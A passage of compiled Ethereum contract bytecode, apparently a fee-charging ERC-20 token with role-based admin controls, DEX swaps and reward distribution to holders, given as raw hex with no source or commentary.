65b73ffffffffffffffffffffffffffffffffffffffff165f9081526002602052604090205490565b3480156108c5575f80fd5b506104e76115b3565b3480156108d9575f80fd5b5061046f7f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f5881565b34801561090c575f80fd5b506103d67fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581565b34801561093f575f80fd5b5061046f61094e366004613bd1565b6115c4565b34801561095e575f80fd5b5061072861096d366004613a4b565b60106020525f908152604090205462ffffff1681565b34801561098e575f80fd5b506018546107289062ffffff1681565b3480156109a9575f80fd5b50600a5473ffffffffffffffffffffffffffffffffffffffff1661046f565b3480156109d3575f80fd5b506103ac6109e2366004613be8565b5f9182526020828152604080842073ffffffffffffffffffffffffffffffffffffffff93909316845291905290205460ff1690565b348015610a22575f80fd5b506104366115f9565b348015610a36575f80fd5b506104e7610a45366004613c43565b611606565b348015610a55575f80fd5b50601854610a73906901000000000000000000900463ffffffff1681565b60405163ffffffff90911681526020016103b8565b348015610a93575f80fd5b506103d6610aa2366004613a4b565b60156020525f908152604090205481565b348015610abe575f80fd5b506103d65f81565b348015610ad1575f80fd5b506103ac610ae0366004613b17565b6116ec565b348015610af0575f80fd5b506103ac610aff366004613b17565b611743565b348015610b0f575f80fd5b506103d6601a5481565b348015610b24575f80fd5b50600f546103ac90610100900460ff1681565b348015610b42575f80fd5b5061046f73a1077a294dde1b09bb078844df40758a5d0f9a2781565b348015610b69575f80fd5b506104e7610b78366004613be8565b611750565b348015610b88575f80fd5b5061046f610b97366004613bd1565b611774565b348015610ba7575f80fd5b506103d6610bb6366004613c6b565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b348015610bf8575f80fd5b506104e7610c07366004613d3c565b611783565b348015610c17575f80fd5b506104e7610c26366004613e0c565b6117e5565b348015610c36575f80fd5b506103d6601b5481565b348015610c4b575f80fd5b506104e7610c5a366004613a4b565b611888565b348015610c6a575f80fd5b506104e7610c79366004613e38565b6118b8565b5f7fffffffff0000000000000000000000000000000000000000000000000000000082167f7965db0b000000000000000000000000000000000000000000000000000000001480610d1057507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b73ffffffffffffffffffffffffffffffffffffffff81165f9081526011602052604081208054808303610d4c57505f9392505050565b5f610d56826119cd565b6001840154909150808211610d7057505f95945050505050565b610d7a8183613ec8565b9695505050505050565b60038054610d9190613edb565b80601f0160208091040260200160405190810160405280929190818152602001828054610dbd90613edb565b8015610e085780601f10610ddf57610100808354040283529160200191610e08565b820191905f5260205f20905b815481529060010190602001808311610deb57829003601f168201915b505050505081565b5f33610e1d8185856119f4565b5060019392505050565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775610e5181611a9f565b600f80548415801562010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff90921691909117909155610ee35760328262ffffff1610158015610eab575062030d408262ffffff1611155b610eb3575f80fd5b601880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000001662ffffff84161790555b505050565b7f756df11799aaceda4067614c35fe47ff6a75745e0c15792193c7bad56a1ad932610f1281611a9f565b73ffffffffffffffffffffffffffffffffffffffff8316610f875760405147905f90339083908381818185875af1925050503d805f8114610f6e576040519150601f19603f3d011682016040523d82523d5f602084013e610f73565b606091505b5050905080610f80575f80fd5b5050505050565b3073ffffffffffffffffffffffffffffffffffffffff841603610fa8575f80fd5b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015283905f9073ffffffffffffffffffffffffffffffffffffffff8316906370a0823190602401602060405180830381865afa158015611014573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110389190613f2c565b905080841115611046578093505b610f8073ffffffffffffffffffffffffffffffffffffffff83163386611aa9565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526001602090815260408083203380855292528220547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461110157838110156110ca575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8087165f90815260016020908152604080832093861683529290522084820390555b61110c868686611b36565b6001925050505b9392505050565b5f8281526020819052604090206001015461113481611a9f565b610ee38383611dc7565b73ffffffffffffffffffffffffffffffffffffffff8116331461115f575f80fd5b6111698282611eb5565b5050565b335f81815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909190610e1d90829086906111b3908790613f43565b6119f4565b6111c3336001611f6a565b565b601781815481106111d4575f80fd5b905f5260205f209060109182820401919006600202915054906101000a900461ffff1681565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561122481611a9f565b61c3508262ffffff1610611236575f80fd5b8162ffffff165f0361147857600c545f5b81811015611429578473ffffffffffffffffffffffffffffffffffffffff16600c828154811061127957611279613f56565b5f9182526020909120015473ffffffffffffffffffffffffffffffffffffffff1603611421576112aa600183613ec8565b8110156113b857600c6112be600184613ec8565b815481106112ce576112ce613f56565b5f91825260209091200154600c805473ffffffffffffffffffffffffffffffffffffffff909216918390811061130657611306613f56565b905f5260205f20015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c80548061135c5761135c613f83565b5f8281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055019055611421565b600c8054806113c9576113c9613f83565b5f8281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690550190555b600101611247565b5050505073ffffffffffffffffffffffffffffffffffffffff165f90815260106020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000169055565b600c545f805b828110156114e3578573ffffffffffffffffffffffffffffffffffffffff16600c82815481106114b0576114b0613f56565b5f9182526020909120015473ffffffffffffffffffffffffffffffffffffffff16036114db57600191505b60010161147e565b508061155957600c80546001810182555f919091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87161790555b505073ffffffffffffffffffffffffffffffffffffffff83165f908152601060205260409020805462ffffff84167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000909116179055505050565b6115bb61207a565b6111c35f61209d565b600e81815481106115d3575f80fd5b5f9182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60048054610d9190613edb565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561163081611a9f565b6101f48361ffff161115801561164c57506101f48261ffff1611155b611654575f80fd5b8260175f8154811061166857611668613f56565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508160176001808111156116aa576116aa613fb0565b815481106116ba576116ba613f56565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff160217905550505050565b335f81815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091908381101561172b575f80fd5b61173882868684036119f4565b506001949350505050565b5f33610e1d818585611b36565b5f8281526020819052604090206001015461176a81611a9f565b610ee38383611eb5565b600c81815481106115d3575f80fd5b5f5b81518110156117d8575f8282815181106117a1576117a1613f56565b602002602001015190506117cf815f01518260200151670de0b6b3a76400006117ca9190613fdd565b612113565b50600101611785565b506117e233612157565b50565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561180f81611a9f565b73ffffffffffffffffffffffffffffffffffffffff83165f90815260146020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016831580159190911790915561187657611870835f612190565b50505050565b61187083611883856122a7565b612190565b61189061207a565b73ffffffffffffffffffffffffffffffffffffffff81166118af575f80fd5b6117e28161209d565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756118e281611a9f565b50600f80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff166101009515159590950294909417909355601880547fffffffffffffff000000000000000000000000ffffffff000000ffffffffffff16660100000000000062ffffff948516027fffffffffffffff000000000000000000000000ffffffffffffffffffffffffff161769ffffffffffffffffffff929092166d010000000000000000000000000002919091177fffffffffffffffffffffffffffffffffffffffffffffffffffff000000ffffff1663010000009290931691909102919091179055565b601a545f906b033b2e3c9fd0803ce8000000906119ea9084613fdd565b610d109190614021565b73ffffffffffffffffffffffffffffffffffffffff8316611a13575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8216611a32575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6117e28133612423565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610ee39084906124e3565b5f611b408461252c565b90505f611b4c8461252c565b305f90815260026020526040812054919250611b6785612660565b6dffffffffffffffffffffffffffff169050600f60029054906101000a900460ff168015611b955750808210155b8015611ba45750600f5460ff16155b8015611bca5750600b5473ffffffffffffffffffffffffffffffffffffffff8781169116145b15611c2c57600f80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055611c03816126be565b600f80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690555b73ffffffffffffffffffffffffffffffffffffffff87165f9081526013602052604090205460ff16158015611c86575073ffffffffffffffffffffffffffffffffffffffff86165f9081526013602052604090205460ff16155b15611d06575f611c97868686612a02565b90508015611d0457611ca98187613ec8565b95505f6064611cb9836004613fdd565b611cc39190614021565b600954909150611ceb908a9073ffffffffffffffffffffffffffffffffffffffff1683612aa0565b611cf58183613ec8565b9150611d02893084612aa0565b505b505b611d11878787612aa0565b600f54610100900460ff168015611d2b5750600f5460ff16155b15611d4857601854611d48906301000000900462ffffff16612b89565b73ffffffffffffffffffffffffffffffffffffffff87165f9081526014602052604090205460ff16611d8357611d8187611883896122a7565b505b73ffffffffffffffffffffffffffffffffffffffff86165f9081526014602052604090205460ff16611dbe57611dbc86611883886122a7565b505b50505050505050565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16611169575f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff85168452909152902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055611e573390565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff1615611169575f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516808552925280832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b73ffffffffffffffffffffffffffffffffffffffff82165f90815260116020526040812080549091819003611f9f5750505050565b5f611fa985610d16565b90508015610f8057831561201657611ff873ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f58168683611aa9565b80836002015f82825461200b9190613f43565b9091555061202d9050565b8060195f8282546120279190613f43565b90915550505b80601b5461203b9190613f43565b601b5573ffffffffffffffffffffffffffffffffffffffff85165f90815260156020526040902042905561206e826119cd565b60018401555050505050565b600a5473ffffffffffffffffffffffffffffffffffffffff1633146111c3575f80fd5b600a805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b61211e338383612aa0565b73ffffffffffffffffffffffffffffffffffffffff82165f9081526014602052604090205460ff1661116957610ee382611883846122a7565b73ffffffffffffffffffffffffffffffffffffffff81165f9081526014602052604090205460ff166117e25761116981611883336122a7565b73ffffffffffffffffffffffffffffffffffffffff82165f908152601160205260408120805483811461229f5780156121d4576121cf855f8611611f6a565b600192505b835f036121e9576121e485612d01565b612271565b805f0361227157600e805473ffffffffffffffffffffffffffffffffffffffff87165f818152601660205260408120839055600183018455929092527fbb7b4a454dc3493923482f07822329ed19e8244eff582cc204f8554c3620c3fd0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690911790555b8381601c546122809190613ec8565b61228a9190613f43565b601c55838255612299846119cd565b60018301555b505092915050565b600c545f908190815b818110156123e45761271061ffff1660105f600c84815481106122d5576122d5613f56565b5f91825260208083209091015473ffffffffffffffffffffffffffffffffffffffff168352820192909252604001902054600c805462ffffff909216918490811061232257612322613f56565b5f918252602090912001546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8981166004830152909116906370a0823190602401602060405180830381865afa158015612398573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123bc9190613f2c565b6123c69190613fdd565b6123d09190614021565b6123da9084613f43565b92506001016122b0565b50816124118573ffffffffffffffffffffffffffffffffffffffff165f9081526002602052604090205490565b61241b9190613f43565b949350505050565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff166111695761246081612e88565b61246b836020612ea7565b60405160200161247c929190614034565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152908290527f08c379a00000000000000000000000000000000000000000000000000000000082526124da91600401613ac7565b60405180910390fd5b5f61250473ffffffffffffffffffffffffffffffffffffffff841683613086565b905080515f148061252457508080602001905181019061252491906140b4565b610ee3575f80fd5b5f8173ffffffffffffffffffffffffffffffffffffffff163b5f0361255257505f919050565b73ffffffffffffffffffffffffffffffffffffffff82165f9081526012602052604090205460ff16612635575f80612589846130c9565b909250905073ffffffffffffffffffffffffffffffffffffffff82163014806125c7575073ffffffffffffffffffffffffffffffffffffffff811630145b156126325773ffffffffffffffffffffffffffffffffffffffff84165f908152601260209081526040808320805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00918216811790925560149093529220805490911690911790555b50505b5073ffffffffffffffffffffffffffffffffffffffff165f9081526012602052604090205460ff1690565b601854600b5473ffffffffffffffffffffffffffffffffffffffff165f90815260026020526040812054909162ffffff169061269c9190614021565b905081816dffffffffffffffffffffffffffff1611156126b95750805b919050565b805f036126c85750565b604080516003808252608082019092525f916020820160608036833701905050905030815f815181106126fd576126fd613f56565b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073a1077a294dde1b09bb078844df40758a5d0f9a278160018151811061275f5761275f613f56565b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f58816002815181106127cd576127cd613f56565b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201525f917f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f5816906370a0823190602401602060405180830381865afa158015612865573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906128899190613f2c565b600d549091506128b190309073ffffffffffffffffffffffffffffffffffffffff16856119f4565b600d546040517f5c11d79500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690635c11d7959061290f9086905f9087903090429060040161411f565b5f604051808303815f87803b158015612926575f80fd5b505af1925050508015612937575060015b506040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201525f907f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f5873ffffffffffffffffffffffffffffffffffffffff16906370a0823190602401602060405180830381865afa1580156129c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129e69190613f2c565b90508181111561187057610f806129fd8383613ec8565b613145565b5f8180612a0c5750825b15611113576127106017600181548110612a2857612a28613f56565b5f91825260208220601082040154600f9091166002026101000a900461ffff169060179081548110612a5c57612a5c613f56565b905f5260205f2090601091828204019190066002029054906101000a900461ffff16612a889190614167565b612a969061ffff1686613fdd565b61241b9190614021565b73ffffffffffffffffffffffffffffffffffffffff8316612abf575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8216612ade575f80fd5b73ffffffffffffffffffffffffffffffffffffffff83165f9081526002602052604090205481811015612b0f575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8085165f8181526002602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612b7b9086815260200190565b60405180910390a350505050565b600e545f819003612b98575050565b5f805a90505f5b8483108015612bad57508381105b15610f80576018546901000000000000000000900463ffffffff168411612bf757601880547fffffffffffffffffffffffffffffffffffffff00000000ffffffffffffffffff1690555b601854600e80545f926901000000000000000000900463ffffffff16908110612c2257612c22613f56565b5f91825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16808352601490915260409091205490915060ff16612c91575f612c6b82611883846122a7565b905080158015612c7f5750612c7f826133f2565b15612c8f57612c8f826001611f6a565b505b601880546901000000000000000000900463ffffffff16906009612cb483614181565b91906101000a81548163ffffffff021916908363ffffffff160217905550508180612cde906141a5565b9250505a612cec9084613ec8565b612cf69085613f43565b93505a925050612b9f565b73ffffffffffffffffffffffffffffffffffffffff81165f90815260166020526040902054600e54612d34600182613ec8565b821015612df3575f600e612d49600184613ec8565b81548110612d5957612d59613f56565b5f91825260209091200154600e805473ffffffffffffffffffffffffffffffffffffffff9092169250829185908110612d9457612d94613f56565b5f91825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9485161790559290911681526016909152604090208290555b600e805480612e0457612e04613f83565b5f828152602080822083017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905590920190925573ffffffffffffffffffffffffffffffffffffffff949094168152601690935250506040812055565b6060610d1073ffffffffffffffffffffffffffffffffffffffff831660145b60605f612eb5836002613fdd565b612ec0906002613f43565b67ffffffffffffffff811115612ed857612ed8613c97565b6040519080825280601f01601f191660200182016040528015612f02576020820181803683370190505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f81518110612f3857612f38613f56565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110612f9a57612f9a613f56565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f612fd4846002613fdd565b612fdf906001613f43565b90505b600181111561307b577f303132333435363738396162636465660000000000000000000000000000000085600f166010811061302057613020613f56565b1a60f81b82828151811061303657613036613f56565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a90535060049490941c93613074816141dc565b9050612fe2565b508315611113575f80fd5b606061111383835f6040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c65640000815250613471565b5f806130f5837f0dfe168100000000000000000000000000000000000000000000000000000000613502565b915073ffffffffffffffffffffffffffffffffffffffff8216156131405761313d837fd21220a700000000000000000000000000000000000000000000000000000000613502565b90505b915091565b5f81156126b95750805f606461315c836004613fdd565b6131669190614021565b6007549091506131b09073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f588116911683611aa9565b6008546131f79073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f588116911683611aa9565b6009546019546132429173ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f58811692911690611aa9565b61324d816002613fdd565b6132579083613ec8565b5f6019819055909250606461326d856005613fdd565b6132779190614021565b905061328281613611565b61328c8184613ec8565b92505f60176001815481106132a3576132a3613f56565b5f91825260208220601082040154600f9091166002026101000a900461ffff1690601790815481106132d7576132d7613f56565b905f5260205f2090601091828204019190066002029054906101000a900461ffff166133039190614167565b61ffff168460175f8154811061331b5761331b613f56565b905f5260205f2090601091828204019190066002029054906101000a900461ffff1661ffff1661334b9190613fdd565b6133559190614021565b905061339a73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f581661036983611aa9565b6133a48185613ec8565b935083601d546133b49190613f43565b601d55601c546133d0856b033b2e3c9fd0803ce8000000613fdd565b6133da9190614021565b601a546133e79190613f43565b601a55505050919050565b60185473ffffffffffffffffffffffffffffffffffffffff82165f9081526015602052604081205490914291613437916601000000000000900462ffffff1690613f43565b108015610d1057506018546d010000000000000000000000000090046bffffffffffffffffffffffff1661346a83610d16565b1192915050565b60608247101561347f575f80fd5b5f808673ffffffffffffffffffffffffffffffffffffffff1685876040516134a79190614210565b5f6040518083038185875af1925050503d805f81146134e1576040519150601f19603f3d011682016040523d82523d5f602084013e6134e6565b606091505b50915091506134f7878383876139aa565b979650505050505050565b60408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000851617905290515f918291829173ffffffffffffffffffffffffffffffffffffffff8716916135849190614210565b5f60405180830381855afa9150503d805f81146135bc576040519150601f19603f3d011682016040523d82523d5f602084013e6135c1565b606091505b50915091508115806135d257508051155b156135e1575f92505050610d10565b805160200361360757808060200190518101906135fe919061422b565b92505050610d10565b505f949350505050565b805f0361361b5750565b6040805160028082526060820183525f926020830190803683370190505090507f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f58815f8151811061366e5761366e613f56565b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073a1077a294dde1b09bb078844df40758a5d0f9a27816001815181106136d0576136d0613f56565b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092010152600d546040517f095ea7b30000000000000000000000000000000000000000000000000000000081529082166004820152602481018490527f000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f589091169063095ea7b3906044016020604051808303815f875af1158015613775573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061379991906140b4565b50600d546040517f791ac947000000000000000000000000000000000000000000000000000000008152479173ffffffffffffffffffffffffffffffffffffffff169063791ac947906137f89086905f9087903090429060040161411f565b5f604051808303815f87803b15801561380f575f80fd5b505af1925050508015613820575060015b505f4782811115613838576138358382613ec8565b91505b8115610f80576040805160028082526060820183525f9260208301908036833701905050905073a1077a294dde1b09bb078844df40758a5d0f9a27815f8151811061388557613885613f56565b73ffffffffffffffffffffffffffffffffffffffff909216602092830291909101909101526138b5600243614246565b156138d457731dcbf345bc44696bbbed402367f7c62e524fe8b56138ea565b73b4b51ae5c720ab73a3126873268a7d60a6c0785c5b816001815181106138fd576138fd613f56565b73ffffffffffffffffffffffffffffffffffffffff909216602092830291909101909101526040517fb6f9de9500000000000000000000000000000000000000000000000000000000815273165c3410fc91ef562c50559f7d2289febed552d99063b6f9de9590859061397c905f908690610369904290600401614259565b5f604051808303818588803b158015613993575f80fd5b505af193505050508015611dbe5750505050505050565b606083156139e15782515f036139da5773ffffffffffffffffffffffffffffffffffffffff85163b6139da575f80fd5b508161241b565b61241b83838151156139f65781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124da9190613ac7565b73ffffffffffffffffffffffffffffffffffffffff811681146117e2575f80fd5b5f60208284031215613a5b575f80fd5b813561111381613a2a565b5f60208284031215613a76575f80fd5b81357fffffffff0000000000000000000000000000000000000000000000000000000081168114611113575f80fd5b5f5b83811015613abf578181015183820152602001613aa7565b50505f910152565b602081525f8251806020840152613ae5816040850160208701613aa5565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b5f8060408385031215613b28575f80fd5b8235613b3381613a2a565b946020939093013593505050565b80151581146117e2575f80fd5b803562ffffff811681146126b9575f80fd5b5f8060408385031215613b71575f80fd5b8235613b7c81613b41565b9150613b8a60208401613b4e565b90509250929050565b5f805f60608486031215613ba5575f80fd5b8335613bb081613a2a565b92506020840135613bc081613a2a565b929592945050506040919091013590565b5f60208284031215613be1575f80fd5b5035919050565b5f8060408385031215613bf9575f80fd5b823591506020830135613c0b81613a2a565b809150509250929050565b5f8060408385031215613c27575f80fd5b8235613b7c81613a2a565b803561ffff811681146126b9575f80fd5b5f8060408385031215613c54575f80fd5b613c5d83613c32565b9150613b8a60208401613c32565b5f8060408385031215613c7c575f80fd5b8235613c8781613a2a565b91506020830135613c0b81613a2a565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6040805190810167ffffffffffffffff81118282101715613ce757613ce7613c97565b60405290565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715613d3457613d34613c97565b604052919050565b5f60208284031215613d4c575f80fd5b813567ffffffffffffffff811115613d62575f80fd5b8201601f81018413613d72575f80fd5b803567ffffffffffffffff811115613d8c57613d8c613c97565b613d9b60208260051b01613ced565b8082825260208201915060208360061b850101925086831115613dbc575f80fd5b6020840193505b82841015610d7a5760408488031215613dda575f80fd5b613de2613cc4565b8435613ded81613a2a565b8152602085810135818301529083526040909401939190910190613dc3565b5f8060408385031215613e1d575f80fd5b8235613e2881613a2a565b91506020830135613c0b81613b41565b5f805f8060808587031215613e4b575f80fd5b8435613e5681613b41565b9350613e6460208601613b4e565b9250604085013569ffffffffffffffffffff81168114613e82575f80fd5b9150613e9060608601613b4e565b905092959194509250565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b81810381811115610d1057610d10613e9b565b600181811c90821680613eef57607f821691505b602082108103613f26577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b5f60208284031215613f3c575f80fd5b5051919050565b80820180821115610d1057610d10613e9b565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffd5b8082028115828204841417610d1057610d10613e9b565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f8261402f5761402f613ff4565b500490565b7f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081525f835161406b816017850160208801613aa5565b7f206973206d697373696e6720726f6c652000000000000000000000000000000060179184019182015283516140a8816028840160208801613aa5565b01602801949350505050565b5f602082840312156140c4575f80fd5b815161111381613b41565b5f8151808452602084019350602083015f5b8281101561411557815173ffffffffffffffffffffffffffffffffffffffff168652602095860195909101906001016140e1565b5093949350505050565b85815284602082015260a060408201525f61413d60a08301866140cf565b73ffffffffffffffffffffffffffffffffffffffff94909416606083015250608001529392505050565b61ffff8181168382160190811115610d1057610d10613e9b565b5f63ffffffff821663ffffffff810361419c5761419c613e9b565b60010192915050565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036141d5576141d5613e9b565b5060010190565b5f816141ea576141ea613e9b565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b5f8251614221818460208701613aa5565b9190910192915050565b5f6020828403121561423b575f80fd5b815161111381613a2a565b5f8261425457614254613ff4565b500690565b848152608060208201525f61427160808301866140cf565b73ffffffffffffffffffffffffffffffffffffffff94909416604083015250606001529291505056fea264697066735822122049870da640acb5f587b52e6927feb111989732a09ce4d6d74821f7a3554dab5e64736f6c634300081a0033